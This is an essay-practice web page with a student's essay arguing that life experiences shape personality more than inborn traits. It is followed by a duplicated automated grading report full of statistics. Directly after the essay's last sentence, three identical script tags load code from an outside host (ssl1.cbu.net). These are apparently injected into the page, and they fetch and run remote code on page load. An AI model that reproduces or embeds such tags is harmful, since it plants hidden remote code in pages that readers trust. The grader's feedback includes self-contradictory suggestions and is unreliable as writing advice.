Research indicates that the characteristics we are born with have much more influence on our personality and development than any experiences we may have in our life. Which do you consider to be the major influence? Give reasons for your answer and include any relevant examples from your own knowledge or experience.
Research indicates that inborn traits exert a stronger influence on our personality and development than life experiences. In this essay, I will explore both aspects and present my opinion.
On the one hand, genetic predispositions significantly shape an individual’s personality and developmental trajectory. It is apparent that an individual’s introverted nature can influence their emotional personality, as supported by studies showing genetic links to traits like shyness or sociability. The evidence of research highlights how inherited melancholic traits affect social interactions and emotional responses, shaping how individuals navigate relationships and tremendous anxiety. Furthermore, the development of low-skilled workers is heavily impacted by the socioeconomic environment of their birthplace. Limited access to education and resources in disadvantaged areas can restrict opportunities, reinforcing the influence of their starting conditions.
However, it seems to me that life experiences play a crucial role either pursuing higher education or migrating, significantly moulding characteristics. These experiences expose individuals to diverse social and cultural environments, fostering adaptability, resilience, and new perspectives. For instance, studying abroad can broaden one’s worldview and enhance interpersonal skills. Additionally, individuals who are self-aware and supported by national programs aimed at improving human resources, such as vocational training or scholarships, can significantly develop their capabilities. Countries like Denmark, with robust mentorship programs, demonstrate how nurturing environments can enhance inborn potential, allowing individuals to refine their skills and character through experience.
In conclusion, I would cite that life experiences, such as pursuing higher education and migrating, have a more profound influence. These experiences foster adaptability, cultural awareness, and personal growth, allowing individuals to transcend their genetic predispositions and actively shape their identities.<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
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Essay evaluations by e-grader
Grammar and spelling errors:
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Suggestion: I
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Message: I is a common American expression, in British English it is more common to use: I
Suggestion: I
...r through experience. In conclusion, I would cite that life experiences, such ...
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Transition Words or Phrases used:
furthermore, however, if, so, for instance, in conclusion, such as
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 3.0 13.1623246493 23% => More to be verbs wanted.
Auxiliary verbs: 7.0 7.85571142285 89% => OK
Conjunction : 17.0 10.4138276553 163% => OK
Relative clauses : 5.0 7.30460921844 68% => More relative clauses wanted.
Pronoun: 21.0 24.0651302605 87% => OK
Preposition: 23.0 41.998997996 55% => More preposition wanted.
Nominalization: 15.0 8.3376753507 180% => OK
Performance on vocabulary words:
No of characters: 1818.0 1615.20841683 113% => OK
No of words: 268.0 315.596192385 85% => More content wanted.
Chars per words: 6.78358208955 5.12529762239 132% => OK
Fourth root words length: 4.04607285448 4.20363070211 96% => OK
Word Length SD: 3.61057547916 2.80592935109 129% => OK
Unique words: 175.0 176.041082164 99% => OK
Unique words percentage: 0.652985074627 0.561755894193 116% => OK
syllable_count: 564.3 506.74238477 111% => OK
avg_syllables_per_word: 2.1 1.60771543086 131% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 6.0 5.43587174349 110% => OK
Article: 2.0 2.52805611222 79% => OK
Subordination: 1.0 2.10420841683 48% => OK
Conjunction: 2.0 0.809619238477 247% => Less conjunction wanted as sentence beginning.
Preposition: 4.0 4.76152304609 84% => OK
Performance on sentences:
How many sentences: 14.0 16.0721442886 87% => OK
Sentence length: 19.0 20.2975951904 94% => OK
Sentence length SD: 40.2513151008 49.4020404114 81% => OK
Chars per sentence: 129.857142857 106.682146367 122% => OK
Words per sentence: 19.1428571429 20.7667163134 92% => OK
Discourse Markers: 4.71428571429 7.06120827912 67% => OK
Paragraphs: 4.0 4.38176352705 91% => OK
Language errors: 3.0 5.01903807615 60% => OK
Sentences with positive sentiment : 7.0 8.67935871743 81% => OK
Sentences with negative sentiment : 3.0 3.9879759519 75% => OK
Sentences with neutral sentiment: 4.0 3.4128256513 117% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.131327435947 0.244688304435 54% => OK
Sentence topic coherence: 0.0485223933357 0.084324248473 58% => OK
Sentence topic coherence SD: 0.0684090543133 0.0667982634062 102% => OK
Paragraph topic coherence: 0.0986033735724 0.151304729494 65% => OK
Paragraph topic coherence SD: 0.0609950539682 0.056905535591 107% => OK
Essay readability:
automated_readability_index: 20.1 13.0946893788 153% => OK
flesch_reading_ease: 9.89 50.2224549098 20% => Flesch_reading_ease is low.
smog_index: 13.0 7.44779559118 175% => OK
flesch_kincaid_grade: 16.6 11.3001002004 147% => OK
coleman_liau_index: 22.04 12.4159519038 178% => OK
dale_chall_readability_score: 11.88 8.58950901804 138% => OK
difficult_words: 124.0 78.4519038076 158% => OK
linsear_write_formula: 12.0 9.78957915832 123% => OK
gunning_fog: 9.6 10.1190380762 95% => OK
text_standard: 12.0 10.7795591182 111% => OK
What are above readability scores?
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Rates: 78.6516853933 out of 100
Scores by essay e-grader: 7.0 Out of 9
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Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.
Grammar and spelling errors:
Line 1, column 139, Rule ID: EN_GB_SIMPLE_REPLACE
Message: I is a common American expression, in British English it is more common to use: I
Suggestion: I
...t than life experiences. In this essay, I will explore both aspects and present m...
^
Line 5, column 29, Rule ID: WHITESPACE_RULE
Message: Possible typo: you repeated a whitespace
Suggestion:
...ditions. However, it seems to me that life experiences play a crucial role eit...
^^
Line 7, column 16, Rule ID: EN_GB_SIMPLE_REPLACE
Message: I is a common American expression, in British English it is more common to use: I
Suggestion: I
...r through experience. In conclusion, I would cite that life experiences, such ...
^
Transition Words or Phrases used:
furthermore, however, if, so, for instance, in conclusion, such as
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 3.0 13.1623246493 23% => More to be verbs wanted.
Auxiliary verbs: 7.0 7.85571142285 89% => OK
Conjunction : 17.0 10.4138276553 163% => OK
Relative clauses : 5.0 7.30460921844 68% => More relative clauses wanted.
Pronoun: 21.0 24.0651302605 87% => OK
Preposition: 23.0 41.998997996 55% => More preposition wanted.
Nominalization: 15.0 8.3376753507 180% => OK
Performance on vocabulary words:
No of characters: 1818.0 1615.20841683 113% => OK
No of words: 268.0 315.596192385 85% => More content wanted.
Chars per words: 6.78358208955 5.12529762239 132% => OK
Fourth root words length: 4.04607285448 4.20363070211 96% => OK
Word Length SD: 3.61057547916 2.80592935109 129% => OK
Unique words: 175.0 176.041082164 99% => OK
Unique words percentage: 0.652985074627 0.561755894193 116% => OK
syllable_count: 564.3 506.74238477 111% => OK
avg_syllables_per_word: 2.1 1.60771543086 131% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 6.0 5.43587174349 110% => OK
Article: 2.0 2.52805611222 79% => OK
Subordination: 1.0 2.10420841683 48% => OK
Conjunction: 2.0 0.809619238477 247% => Less conjunction wanted as sentence beginning.
Preposition: 4.0 4.76152304609 84% => OK
Performance on sentences:
How many sentences: 14.0 16.0721442886 87% => OK
Sentence length: 19.0 20.2975951904 94% => OK
Sentence length SD: 40.2513151008 49.4020404114 81% => OK
Chars per sentence: 129.857142857 106.682146367 122% => OK
Words per sentence: 19.1428571429 20.7667163134 92% => OK
Discourse Markers: 4.71428571429 7.06120827912 67% => OK
Paragraphs: 4.0 4.38176352705 91% => OK
Language errors: 3.0 5.01903807615 60% => OK
Sentences with positive sentiment : 7.0 8.67935871743 81% => OK
Sentences with negative sentiment : 3.0 3.9879759519 75% => OK
Sentences with neutral sentiment: 4.0 3.4128256513 117% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.131327435947 0.244688304435 54% => OK
Sentence topic coherence: 0.0485223933357 0.084324248473 58% => OK
Sentence topic coherence SD: 0.0684090543133 0.0667982634062 102% => OK
Paragraph topic coherence: 0.0986033735724 0.151304729494 65% => OK
Paragraph topic coherence SD: 0.0609950539682 0.056905535591 107% => OK
Essay readability:
automated_readability_index: 20.1 13.0946893788 153% => OK
flesch_reading_ease: 9.89 50.2224549098 20% => Flesch_reading_ease is low.
smog_index: 13.0 7.44779559118 175% => OK
flesch_kincaid_grade: 16.6 11.3001002004 147% => OK
coleman_liau_index: 22.04 12.4159519038 178% => OK
dale_chall_readability_score: 11.88 8.58950901804 138% => OK
difficult_words: 124.0 78.4519038076 158% => OK
linsear_write_formula: 12.0 9.78957915832 123% => OK
gunning_fog: 9.6 10.1190380762 95% => OK
text_standard: 12.0 10.7795591182 111% => OK
What are above readability scores?
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Rates: 78.6516853933 out of 100
Scores by essay e-grader: 7.0 Out of 9
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Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.